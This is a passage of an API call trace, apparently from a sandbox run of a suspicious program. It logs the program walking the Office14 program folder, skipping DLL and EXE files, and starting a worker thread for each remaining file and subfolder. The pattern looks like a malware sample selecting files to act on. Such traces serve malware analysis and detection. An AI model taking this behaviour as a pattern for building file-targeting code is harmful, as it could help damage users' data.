cFileName="ADVTEL.DIC", cAlternateFileName="")) returned 1 [0086.119] wcscmp (_String1="ADVTEL.DIC", _String2=".") returned 1 [0086.119] wcscmp (_String1="ADVTEL.DIC", _String2="..") returned 1 [0086.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e670 [0086.119] wcscpy (in: _Dest=0x1b79e670, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.119] wcscat (in: _Dest=0x1b79e670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.119] wcscat (in: _Dest=0x1b79e670, _Source="ADVTEL.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVTEL.DIC" [0086.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814 [0086.120] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c9700, ftCreationTime.dwHighDateTime=0x1c9c96b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x895c9700, ftLastWriteTime.dwHighDateTime=0x1c9c96b, nFileSizeHigh=0x0, nFileSizeLow=0x2e25e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVZIP.DIC", cAlternateFileName="")) returned 1 [0086.120] wcscmp (_String1="ADVZIP.DIC", _String2=".") returned 1 [0086.120] wcscmp (_String1="ADVZIP.DIC", _String2="..") returned 1 [0086.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e770 [0086.120] wcscpy (in: _Dest=0x1b79e770, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.120] wcscat (in: _Dest=0x1b79e770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.120] wcscat (in: _Dest=0x1b79e770, _Source="ADVZIP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVZIP.DIC" [0086.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818 [0086.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf779b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17fb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AEC.DLL", cAlternateFileName="")) returned 1 [0086.121] wcscmp (_String1="AEC.DLL", _String2=".") returned 1 [0086.121] wcscmp (_String1="AEC.DLL", _String2="..") returned 1 [0086.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0x0, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0086.121] wcscmp (_String1="AECUTILS.DLL", _String2=".") returned 1 [0086.121] wcscmp (_String1="AECUTILS.DLL", _String2="..") returned 1 [0086.121] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31e1b00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb31e1b00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46080, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASCIIENG.LNG", cAlternateFileName="")) returned 1 [0086.121] wcscmp (_String1="ASCIIENG.LNG", _String2=".") returned 1 [0086.121] wcscmp (_String1="ASCIIENG.LNG", _String2="..") returned 1 [0086.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e7f0 [0086.121] wcscpy (in: _Dest=0x1b79e7f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.121] wcscat (in: _Dest=0x1b79e7f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.121] wcscat (in: _Dest=0x1b79e7f0, _Source="ASCIIENG.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" [0086.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0086.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5171bc90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x22db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHLTS.DLL", cAlternateFileName="AUDIOS~1.DLL")) returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2=".") returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHLTS.DLL", _String2="..") returned 1 [0086.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="AUDIOS~3.DLL")) returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2=".") returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHMAIN.DLL", _String2="..") returned 1 [0086.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="AUDIOS~2.DLL")) returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2=".") returned 1 [0086.122] wcscmp (_String1="AUDIOSEARCHSAPIFE.DLL", _String2="..") returned 1 [0086.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0086.122] wcscmp (_String1="AUTHZAX.DLL", _String2=".") returned 1 [0086.122] wcscmp (_String1="AUTHZAX.DLL", _String2="..") returned 1 [0086.122] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="BCSAUT~1.DLL")) returned 1 [0086.123] wcscmp (_String1="BCSAutogen.dll", _String2=".") returned 1 [0086.123] wcscmp (_String1="BCSAutogen.dll", _String2="..") returned 1 [0086.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="BCSCLI~1.DLL")) returned 1 [0086.123] wcscmp (_String1="BCSClient.Msg.dll", _String2=".") returned 1 [0086.123] wcscmp (_String1="BCSClient.Msg.dll", _String2="..") returned 1 [0086.123] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="BCSCLI~1.MAN")) returned 1 [0086.123] wcscmp (_String1="BCSClientManifest.man", _String2=".") returned 1 [0086.123] wcscmp (_String1="BCSClientManifest.man", _String2="..") returned 1 [0086.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c060 [0086.123] wcscpy (in: _Dest=0x1b85c060, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.123] wcscat (in: _Dest=0x1b85c060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.123] wcscat (in: _Dest=0x1b85c060, _Source="BCSClientManifest.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" [0086.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0086.124] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="BCSEVE~1.MAN")) returned 1 [0086.124] wcscmp (_String1="BCSEvents.man", _String2=".") returned 1 [0086.124] wcscmp (_String1="BCSEvents.man", _String2="..") returned 1 [0086.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e870 [0086.124] wcscpy (in: _Dest=0x1b79e870, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.124] wcscat (in: _Dest=0x1b79e870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.124] wcscat (in: _Dest=0x1b79e870, _Source="BCSEvents.man" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" [0086.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="BCSLAU~1.DLL")) returned 1 [0086.125] wcscmp (_String1="BCSLaunch.dll", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSLaunch.dll", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0086.125] wcscmp (_String1="BCSProxy.dll", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSProxy.dll", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="BCSRUN~1.DLL")) returned 1 [0086.125] wcscmp (_String1="BCSRuntime.dll", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSRuntime.dll", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="BCSRUN~2.DLL")) returned 1 [0086.125] wcscmp (_String1="BCSRuntimeUI.dll", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSRuntimeUI.dll", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0086.125] wcscmp (_String1="BCSStr32.dll", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSStr32.dll", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0086.125] wcscmp (_String1="BCSSync.exe", _String2=".") returned 1 [0086.125] wcscmp (_String1="BCSSync.exe", _String2="..") returned 1 [0086.125] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1 [0086.126] wcscmp (_String1="bdcmetadata.xsd", _String2=".") returned 1 [0086.126] wcscmp (_String1="bdcmetadata.xsd", _String2="..") returned 1 [0086.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79e8f0 [0086.126] wcscpy (in: _Dest=0x1b79e8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.126] wcscat (in: _Dest=0x1b79e8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.126] wcscat (in: _Dest=0x1b79e8f0, _Source="bdcmetadata.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" [0086.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0086.126] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1 [0086.126] wcscmp (_String1="bdcmetadataresource.xsd", _String2=".") returned 1 [0086.126] wcscmp (_String1="bdcmetadataresource.xsd", _String2="..") returned 1 [0086.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85c0f0 [0086.126] wcscpy (in: _Dest=0x1b85c0f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.127] wcscat (in: _Dest=0x1b85c0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.127] wcscat (in: _Dest=0x1b85c0f0, _Source="bdcmetadataresource.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" [0086.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0086.127] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0086.127] wcscmp (_String1="Bibliography", _String2=".") returned 1 [0086.127] wcscmp (_String1="Bibliography", _String2="..") returned 1 [0086.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0086.128] wcscpy (in: _Dest=0x1b85d490, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.128] wcscat (in: _Dest=0x1b85d490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.128] wcscat (in: _Dest=0x1b85d490, _Source="Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0086.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85d490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0086.128] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0086.128] wcscmp (_String1="BORDERS", _String2=".") returned 1 [0086.129] wcscmp (_String1="BORDERS", _String2="..") returned 1 [0086.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3260 [0086.129] wcscpy (in: _Dest=0x1b7a3260, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.129] wcscat (in: _Dest=0x1b7a3260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.129] wcscat (in: _Dest=0x1b7a3260, _Source="BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0086.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0086.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0086.130] wcscmp (_String1="BRTVIEW.DLL", _String2=".") returned 1 [0086.130] wcscmp (_String1="BRTVIEW.DLL", _String2="..") returned 1 [0086.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0086.130] wcscmp (_String1="BSTORM.DLL", _String2=".") returned 1 [0086.130] wcscmp (_String1="BSTORM.DLL", _String2="..") returned 1 [0086.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0086.130] wcscmp (_String1="CDLMSO.DLL", _String2=".") returned 1 [0086.130] wcscmp (_String1="CDLMSO.DLL", _String2="..") returned 1 [0086.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, 